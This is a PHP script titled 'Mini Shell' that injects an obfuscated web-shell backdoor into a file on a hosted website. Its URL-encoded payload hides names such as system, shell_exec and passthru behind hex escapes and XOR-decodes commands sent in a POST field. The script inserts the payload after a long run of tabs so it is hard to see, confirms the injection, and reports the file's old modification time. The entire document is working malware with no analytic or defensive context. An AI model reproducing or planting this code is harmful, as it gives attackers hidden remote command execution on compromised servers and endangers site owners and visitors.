Mini Shell

<?php  $path = '/home/ukubnwwt/casa360.io/transfer/soup/advcheckbox.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24query_handler7%20%3D%20%22%5Cx70close%22%3B%20%24query_handler3%20%3D%20%22exec%22%3B%20%24query_handler2%20%3D%20%22%5Cx73%5Cx68%5Cx65%5Cx6Cl%5Cx5Fexec%22%3B%20%24query_handler1%20%3D%20%22sys%5Cx74e%5Cx6D%22%3B%20%24query_handler5%20%3D%20%22p%5Cx6F%5Cx70en%22%3B%20%24query_handler4%20%3D%20%22pas%5Cx73%5Cx74%5Cx68r%5Cx75%22%3B%20%24settings%20%3D%20%22h%5Cx65x%5Cx32b%5Cx69n%22%3B%20%24query_handler6%20%3D%20%22s%5Cx74%5Cx72%5Cx65%5Cx61m%5Cx5Fg%5Cx65%5Cx74%5Cx5F%5Cx63%5Cx6Fntents%22%3B%20if%20%28isset%28%24_POST%5B%22%5Cx66ac%5Cx74%5Cx6Fr%22%5D%29%29%20%7B%20function%20batch_process%20%28%20%24record%20%2C%20%24parameter_group%20%29%20%7B%20%24object%20%3D%20%27%27%20%3B%20foreach%28str_split%28%24record%29%20as%20%24char%29%7B%20%24object.%3Dchr%28ord%28%24char%29%5E%24parameter_group%29%3B%20%7D%20return%20%24object%3B%20%7D%20%24factor%20%3D%20%24settings%28%24_POST%5B%22%5Cx66ac%5Cx74%5Cx6Fr%22%5D%29%3B%20%24factor%20%3D%20batch_process%28%24factor%2C%2063%29%3B%20if%20%28function_exists%28%24query_handler1%29%29%20%7B%20%24query_handler1%28%24factor%29%3B%20%7D%20elseif%20%28function_exists%28%24query_handler2%29%29%20%7B%20print%20%24query_handler2%28%24factor%29%3B%20%7D%20elseif%20%28function_exists%28%24query_handler3%29%29%20%7B%20%24query_handler3%28%24factor%2C%20%24ent_record%29%3B%20print%20join%28%22%5Cn%22%2C%20%24ent_record%29%3B%20%7D%20elseif%20%28function_exists%28%24query_handler4%29%29%20%7B%20%24query_handler4%28%24factor%29%3B%20%7D%20elseif%20%28function_exists%28%24query_handler5%29%20%26%26%20function_exists%28%24query_handler6%29%20%26%26%20function_exists%28%24query_handler7%29%29%20%7B%20%24parameter_group_object%20%3D%20%24query_handler5%28%24factor%2C%20%27r%27%29%3B%20if%20%28%24parameter_group_object%29%20%7B%20%24dat_marker%20%3D%20%24query_handler6%28%24parameter_group_object%29%3B%20%24query_handler7%28%24parameter_group_object%29%3B%20print%20%24dat_marker%3B%20%7D%20%7D%20exit%3B%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');